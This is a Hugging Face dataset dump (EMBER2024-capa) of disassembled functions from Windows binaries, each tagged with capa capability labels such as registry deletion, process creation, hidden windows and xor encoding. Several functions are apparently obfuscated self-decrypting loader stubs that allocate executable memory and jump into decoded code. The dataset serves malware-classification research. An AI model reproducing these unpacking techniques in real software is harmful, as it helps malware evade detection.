joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a463
Capabilities:
Delete registry value

Disassembly:
sub esp, 0x88
mov eax, dword [0x100436e0]
xor eax, esp
mov dword [esp + 0x84], eax
cmp dword [0x10043820], 0
push esi
mov esi, dword [esp + 0x94]
push edi
mov edi, dword [esp + 0x94]
je 0x1000a4ff
push ebx
mov ecx, esi
push ebp
lea edx, [ecx + 2]
xor ebx, ebx
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x1000a499
push 1
sub ecx, edx
push ebx
sar ecx, 1
lea eax, [esp + 0x24]
push eax
lea ebp, [ecx*2 + 2]
push ebp
push ebx
push 0x78
lea ecx, [esp + 0x28]
call fcn.1002019b
mov ebx, dword [esp + 0x14]
test ebx, ebx
je 0x1000a4e1
xor eax, eax
push eax
push eax
push ebp
push ebx
push 0xffffffffffffffff
push esi
push eax
push eax
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jne 0x1000a4e6
push 0xe
pop esi
jmp 0x1000a4f0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esi, eax
lea ecx, [esp + 0x10]
call fcn.100089b8
pop ebp
mov eax, esi
pop ebx
jmp 0x1000a507
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [esp + 0x8c]
pop edi
pop esi
xor ecx, esp
call fcn.10029dae
add esp, 0x88
ret 8

Function at 0x1000a520
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x88
mov eax, dword [0x100436e0]
xor eax, esp
mov dword [esp + 0x84], eax
cmp dword [0x10043820], 0
push ebx
mov ebx, dword [esp + 0x98]
push esi
mov esi, dword [esp + 0x94]
push edi
mov edi, dword [esp + 0xa4]
je 0x1000a5b5
push ebp
push 1
push 0
lea ecx, [esp + 0x24]
push ecx
lea eax, [edi + edi]
push eax
push 0
push 0x78
lea ecx, [esp + 0x28]
call fcn.1002019b
mov ebp, dword [esp + 0x14]
test ebp, ebp
je 0x1000a5a2
lea eax, [edi + edi]
push eax
push ebp
push dword [esp + 0xa8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x1000a5a7
push edi
push ebx
push 0xffffffffffffffff
push ebp
push eax
push eax
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
jne 0x1000a5a7
mov esi, 0x8007000e
lea ecx, [esp + 0x10]
call fcn.100089b8
mov eax, esi
pop ebp
jmp 0x1000a5c5
push edi
push ebx
push dword [esp + 0xa4]
push esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ecx, dword [esp + 0x90]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10029dae
add esp, 0x88
ret 0x10
Function at 0x1000b115
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x100436e0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x2a
call dword [sym.imp.user32.dll_GetSystemMetrics]
test eax, eax
je 0x1000b26b
push ebx
mov ebx, 0x105
push ebx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b26a
push 0x1003a274
lea eax, [ebp - 0x10c]
push ebx
push eax
call dword [sym.imp.msvcr100.dll_strcat_s]
add esp, 0xc
test eax, eax
jne 0x1000b26a
mov ebx, dword [sym.imp.kernel32.dll_FreeLibrary]
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_SetErrorMode]
cmp dword [0x10043820], eax
je 0x1000b1d1
push 0x8000
call edi
push str.USER32.DLL
mov esi, eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push esi
mov dword [0x10043da4], eax
call edi
mov eax, dword [0x10043da4]
test eax, eax
je 0x1000b1d1
push str.SendIMEMessageExA
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x10043d58], eax
test eax, eax
jne 0x1000b1d1
push dword [0x10043da4]
call ebx
and dword [0x10043da4], 0
push 0x8000
call edi
mov esi, eax
push str.IMM32.DLL
lea eax, [ebp - 0x10c]
push eax
push 0x105
lea eax, [ebp - 0x214]
push eax
call fcn.1002019b
test eax, eax
je 0x1000b268
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push esi
mov dword [0x10043d5c], eax
call edi
mov ecx, dword [0x10043d5c]
test ecx, ecx
je 0x1000b268
xor esi, esi
cmp dword [0x1003a068], esi
je 0x1000b268
xor eax, eax
mov edi, 0x1003a068
push dword [eax + 0x1003a06c]
push ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov ecx, dword [edi]
mov dword [ecx], eax
test eax, eax
je 0x1000b259
inc esi
mov eax, esi
shl eax, 3
lea edi, [eax + 0x1003a068]
cmp dword [edi], 0
je 0x1000b268
mov ecx, dword [0x10043d5c]
jmp 0x1000b22b
push dword [0x10043d5c]
call ebx
and dword [0x10043d5c], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10029dae
leave
ret
Function at 0x10016940
Capabilities:
Read file on windows

Disassembly:
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.msvcr100.dll__read]
add esp, 0xc
ret 0xc

Function at 0x10017236
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x100436e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push 2
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.1002019b
push 2
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.1002019b
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.msvcr100.dll_rename]
pop ecx
pop ecx
pop esi
test eax, eax
je 0x100172bb
call dword [sym.imp.msvcr100.dll__errno]
mov eax, dword [eax]
dec eax
dec eax
je 0x100172b2
sub eax, 0xb
je 0x100172ae
sub eax, 4
je 0x100172aa
dec eax
je 0x100172a6
push 5
jmp 0x100172b4
push 0x4a
jmp 0x100172b4
push 0x3a
jmp 0x100172b4
push 0x4b
jmp 0x100172b4
push 0x35
pop eax
push eax
call fcn.1000c0de
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10029dae
leave
ret 8
Function at 0x10017979
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x100436e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0x35
pop edi
test esi, esi
je 0x100179b4
cmp word [esi], 0
je 0x100179b4
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100179a3
sub ecx, edx
cmp ecx, 0x104
jbe 0x100179ba
push edi
call fcn.1000c0de
push 1
push esi
lea eax, [ebp - 0x10c]
push eax
call fcn.1002019b
mov esi, dword [ebp + 0xc]
mov eax, esi
or eax, 0x27
cmp eax, 0x27
je 0x100179dd
push 5
call fcn.1000c0de
test esi, esi
jne 0x100179e6
mov esi, 0x80
push esi
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x10017a29
mov esi, dword [sym.imp.kernel32.dll_GetLastError]
call esi
cmp eax, 5
je 0x10017a19
call esi
cmp eax, edi
je 0x10017a19
call esi
cmp eax, 0x57
je 0x10017a19
call esi
cmp eax, 0x13
jne 0x10017a1c
push 0x4b
pop edi
movzx eax, di
test eax, eax
je 0x10017a29
push eax
call fcn.1000c0de
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10029dae
leave
ret 8
Function at 0x1001d8c4
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [esp + 0x24]
push esi
push eax
call sub.msvcr100.dll_memset
mov eax, dword [esp + 0x78]
add esp, 0xc
mov dword [esp + 0x20], edi
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], ax
cmp ax, 9
jbe 0x1001d8ff
push 5
call fcn.1000c0de
mov eax, dword [esp + 0x68]
push ebx
push ebp
test eax, eax
je 0x1001d91e
cmp word [eax], 8
jne 0x1001d91e
cmp dword [eax + 8], esi
jne 0x1001d91e
push esi
push esi
call dword [sym.imp.oleaut32.dll_SysReAllocStringLen]
jmp 0x1001d924
push eax
call fcn.1002019b
mov ebx, eax
test ebx, ebx
jne 0x1001d931
push 5
call fcn.1000c0de
cmp dword [0x10043820], esi
je 0x1001d9af
test ebx, ebx
jne 0x1001d941
mov eax, esi
jmp 0x1001d946
mov eax, dword [ebx - 4]
shr eax, 1
push esi
push esi
push esi
push esi
inc eax
push eax
push ebx
push esi
push esi
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov ebp, eax
test ebp, ebp
je 0x1001d967
push ebp
call fcn.10008870
mov edi, eax
test edi, edi
jne 0x1001d971
push 0xe
call dword [sym.imp.kernel32.dll_SetLastError]
jmp 0x1001d9c9
test ebx, ebx
jne 0x1001d979
mov eax, esi
jmp 0x1001d97e
mov eax, dword [ebx - 4]
shr eax, 1
push esi
push esi
push ebp
push edi
inc eax
push eax
push ebx
push esi
push esi
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push edi
push esi
call dword [sym.imp.kernel32.dll_CreateProcessA]
push edi
mov esi, eax
call fcn.100088c0
jmp 0x1001d9c9
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.kernel32.dll_CreateProcessW]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
mov edi, eax
call dword [sym.imp.oleaut32.dll_SysStringLen]
pop ebp
pop ebx
test esi, esi
jne 0x1001da0d
dec edi
dec edi
je 0x1001d9f1
dec edi
je 0x1001d9f8
sub edi, 5
je 0x1001d9ff
sub edi, 6
je 0x1001d9ff
jmp 0x1001da06
push 0x35
call fcn.1000c0de
push 0x4c
call fcn.1000c0de
push 7
call fcn.1000c0de
push 5
call fcn.1000c0de
push 0x2710
push dword [esp + 0x14]
call dword [sym.imp.user32.dll_WaitForInputIdle]
push dword [esp + 0x14]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
call esi
push dword [esp + 0x10]
call esi
fild dword [esp + 0x18]
pop edi
pop esi
fstp qword [esp]
fld qword [esp]
add esp, 0x5c
ret 8
Function at 0x10023608
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x1ac
mov eax, dword [0x100436e0]
xor eax, esp
mov dword [esp + 0x1a8], eax
mov eax, dword [esp + 0x1b4]
push ebp
mov ebp, dword [esp + 0x1b4]
lea ecx, [esp + 4]
push ecx
push eax
push ebp
mov dword [esp + 0x24], eax
call fcn.1002019b
test eax, eax
je 0x10023647
push 5
pop eax
jmp 0x1002373e
push ebx
push esi
push edi
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x18]
push eax
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x24]
push eax
push eax
push eax
push eax
xor edi, edi
push edi
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xdc]
push eax
push dword [esp + 0x3c]
mov dword [esp + 0x50], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov ecx, dword [esp + 0x18]
push 1
push edi
mov esi, eax
lea eax, [esp + 0x44]
push eax
lea ecx, [ecx*2 + 2]
push ecx
push edi
push 0x78
lea ecx, [esp + 0x40]
call fcn.1002019b
mov ebx, dword [esp + 0x2c]
test esi, esi
jne 0x10023718
test ebx, ebx
jne 0x100236c4
push 7
jmp 0x1002371a
push ebx
push dword [esp + 0x14]
call fcn.1000a463
test eax, eax
jne 0x10023718
mov eax, dword [esp + 0x18]
push edi
push edi
push edi
inc eax
push edi
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
push ebx
push edi
push dword [esp + 0x2c]
call fcn.1000a5df
test eax, eax
je 0x100236b6
cmp eax, 0x103
jne 0x10023718
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10023708
lea ecx, [esp + 0x28]
call fcn.100089b8
push 5
pop eax
jmp 0x1002373b
push dword [esp + 0x24]
push ebp
call fcn.1002019b
test eax, eax
je 0x10023730
jmp 0x1002372d
push 5
pop edi
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x10023730
test edi, edi
jne 0x10023730
push 5
pop edi
lea ecx, [esp + 0x28]
call fcn.100089b8
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1ac]
pop ebp
xor ecx, esp
call fcn.10029dae
add esp, 0x1ac
ret 8

Function at 0x10029dae
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100436e0]
jne 0x10029db8
repz ret
jmp fcn.1002a2cf
Function at 0x1001bfc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x1001bfcf
pop dword [ebp - 0x10]
mov eax, 0x1001bfcf
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x9b913265
add dword [ebp - 0x20], 0xb2c112e6
mov dword [ebp - 0x1c], 0x29601bd3
add dword [ebp - 0x1c], 0x8d33072
mov dword [ebp - 0x18], 0x3be5ad0a
add dword [ebp - 0x18], 0x10669724
mov dword [ebp - 0x14], 0x7f9381cb
sub dword [ebp - 0x14], 0x7f9381cb
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xf1742b52
sub dword [ebp - 0x20], 0x7d01c1fc
mov dword [ebp - 0x1c], 0xb0057c5b
add dword [ebp - 0x1c], 0x9166e51a
mov dword [ebp - 0x18], 0x8c859dd1
add dword [ebp - 0x18], 0xd6e9ce9b
mov dword [ebp - 0x14], 0x510d9da3
add dword [ebp - 0x14], 0xaef2625d
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x5f2ebb2f
add eax, 0xb0d5b5b5
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x44de5
push 0
call eax
mov ecx, 0x6532602e
add ecx, 0x9acdf192
mov esi, eax
mov edx, 0xab6d6d2b
sub edx, 0x9b673d2b
add edx, dword [ebp - 0x10]
mov edi, 0x6d9ef2c0
sub edi, 0xf4836f1a
sub dword [ebp - 8], 0xa0e5694b
mov ebx, dword [edx]
xor dword [ebp - 8], 0x844e8519
sub ebx, edi
mov dword [ebp - 8], 0x52f3145a
mov dword [esi], ebx
add esi, 4
add edx, 0x4e902bf6
add edx, 0xb16fd40e
loop 0x1001c0e7
add eax, 0x50168da1
sub eax, 0x501553ce
xor ebx, ebx
add ebx, eax
add eax, 0xac1ec695
add eax, 0x53e13970
mov ecx, 0x91b355b
sub ecx, 0xf91b355b
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x405d43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x405d52
pop dword [ebp - 0x24]
mov eax, 0x52b928f3
add eax, 0xad87345f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xb8a45cd0
add dword [ebp - 0x34], 0x95ade87b
mov dword [ebp - 0x30], 0xd7704d5f
add dword [ebp - 0x30], 0x5ac2fee6
mov dword [ebp - 0x2c], 0xb6fc0f38
add dword [ebp - 0x2c], 0x955034f6
mov dword [ebp - 0x28], 0x64f6b584
add dword [ebp - 0x28], 0x9b094a7c
lea eax, [ebp - 0x34]
push eax
mov eax, 0xe4e80a6a
add eax, 0x1b5866da
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x1f1a76e0
add dword [ebp - 0x34], 0x5557f276
mov dword [ebp - 0x30], 0x8b851875
add dword [ebp - 0x30], 0xb5e74900
mov dword [ebp - 0x2c], 0x800de09a
add dword [ebp - 0x2c], 0xe3618bd2
mov dword [ebp - 0x28], 0xece63e42
sub dword [ebp - 0x28], 0xece63e42
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3a90d
push 0
call eax
mov ecx, 0x93f629fd
sub ecx, 0x93f5d384
xor edx, edx
add edx, eax
mov ebx, 0x436000
add ebx, dword [ebp - 0x24]
mov esi, 0x7a711ad9
sub esi, 0x1d61894d
xor dword [ebp - 8], 0x46f70d4a
mov edi, dword [ebx]
sub dword [ebp - 0x14], 0x62bc19c
sub edi, esi
sub dword [ebp - 0x10], edi
mov dword [edx], edi
add dword [ebp - 0x18], 0xd6c24969
add edx, 0xd24bbc
add edx, 0xff2db448
add ebx, 4
loop 0x405e6b
add eax, 0xf07466fc
sub eax, 0xf0731a45
xor ebx, ebx
add ebx, eax
add eax, 0x1cb6917a
add eax, 0xe3496e8b
mov ecx, 0x25d42e3e
sub ecx, 0x25942e3e
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x406120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422af4], 0
push esi
jne 0x406157
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406131
mov dword [ecx*4 + 0x422af0], eax
inc ecx
cmp ecx, 0x100
jl 0x40612c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406188
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422af0]
xor eax, esi
inc ecx
dec edx
jne 0x40616a
pop edi
not eax
pop esi
ret 0xc
Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40338c], eax
mov eax, dword [ebp + 4]
mov dword [0x403210], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401020
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x403210]
mov dword [ebp - 0x48], eax
mov eax, 0x4016c9
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x403210]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.lukifas
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4033d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x4033d8]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010bc
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010b5
mov esp, ebp
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x100062fa
pop dword [ebp - 0x30]
mov eax, 0x100062fa
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3448c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xe01283f7
add ecx, 0x1fedb115
xor ebx, ebx
add ebx, eax
mov esi, 0x35dc3e84
sub esi, 0x25dab884
add esi, dword [ebp - 0x30]
mov edx, 0x9e0a057c
sub dword [ebp - 0x20], edi
mov edi, dword [esi]
sub dword [ebp - 0xc], eax
sub edi, edx
xor dword [ebp - 8], 0xb78818fa
mov dword [ebx], edi
xor dword [ebp - 0x10], 0xd26905ef
add ebx, 0x1833bbc1
add ebx, 0xe7cc4443
add esi, 0x5b295518
sub esi, 0x5b295514
loop 0x1000634b
add eax, 0x84a2187f
sub eax, 0x84a1517c
mov ebx, eax
add eax, 0xa344601f
add eax, 0x5cbb9fe6
mov ecx, 0x10000000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4095c9
Capabilities:
Read file on windows

Disassembly:
push 0x54
mov eax, 0x416a1f
call fcn.00414056
mov ebx, dword [ebp + 8]
cmp dword [ebx + 0x14], 0x10
mov dword [ebp - 0x50], ecx
jb 0x4095e5
mov eax, dword [ebx]
jmp 0x4095e7
mov eax, ebx
lea ecx, [ebp - 0x40]
push ecx
push eax
call dword [sym.imp.msvcr100.dll__stat64i32]
pop ecx
pop ecx
test eax, eax
je 0x409602
xor al, al
call fcn.004140a0
ret 4
cmp dword [ebx + 0x14], 0x10
jb 0x40960c
mov eax, dword [ebx]
jmp 0x40960e
mov eax, ebx
push 0x4198fc
push eax
call dword [sym.imp.msvcr100.dll_fopen]
xor esi, esi
pop ecx
pop ecx
mov dword [ebp - 0x44], eax
cmp eax, esi
je 0x4095f8
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
inc eax
push eax
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
call fcn.0041225f
mov edi, dword [ebp - 0x60]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x48], esi
jbe 0x409674
mov eax, dword [ebp - 0x5c]
sub eax, edi
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x44]
mov eax, dword [ebp - 0x4c]
sub eax, esi
push eax
lea eax, [edi + esi]
push 1
push eax
call dword [sym.imp.msvcr100.dll_fread]
add esp, 0x10
test eax, eax
je 0x409696
add esi, eax
cmp esi, dword [ebp - 0x48]
jb 0x409651
push dword [ebp - 0x44]
call dword [sym.imp.msvcr100.dll_fclose]
pop ecx
mov byte [edi + esi], 0
mov eax, edi
mov ecx, dword [ebp - 0x50]
push eax
push ebx
call fcn.0040930e
test eax, eax
jne 0x409684
mov bl, 1
jmp 0x4096d4
push dword [ebp - 0x44]
call dword [sym.imp.msvcr100.dll_ferror]
pop ecx
test eax, eax
je 0x409674
cmp dword [ebx + 0x14], 0x10
jb 0x4096ac
mov ebx, dword [ebx]
call dword [sym.imp.msvcr100.dll__errno]
push dword [eax]
call dword [sym.imp.msvcr100.dll_strerror]
push eax
push ebx
push str.Failed_to_read_file__s:__s_n
call fcn.004115c7
push dword [ebp - 0x44]
call dword [sym.imp.msvcr100.dll_fclose]
add esp, 0x14
xor bl, bl
lea ecx, [ebp - 0x60]
call fcn.00409d10
mov al, bl
jmp 0x4095fa

Function at 0x40a8ce
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x190]
sub esp, 0x210
mov eax, dword [0x424eb0]
xor eax, ebp
mov dword [ebp + 0x18c], eax
mov eax, dword [ebp + 0x198]
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x7b]
push ebx
push eax
mov byte [ebp - 0x7c], bl
call sub.msvcr100.dll_memset
add esp, 0xc
lea edi, [esi + 1]
push edi
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
cmp eax, ebx
je 0x40a96e
cmp eax, edi
ja 0x40a96e
push esi
lea eax, [ebp + 0x89]
push ebx
push eax
mov byte [ebp + 0x88], bl
call sub.msvcr100.dll_memset
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push eax
push 0x4199fc
lea eax, [ebp + 0x88]
push esi
push eax
call dword [sym.imp.msvcr100.dll__snprintf]
add esp, 0x20
cmp eax, ebx
jle 0x40a96e
mov byte [ebp + eax + 0x88], bl
lea eax, [ebp + 0x88]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
jmp 0x40a970
xor eax, eax
mov ecx, dword [ebp + 0x18c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413fde
add ebp, 0x190
leave
ret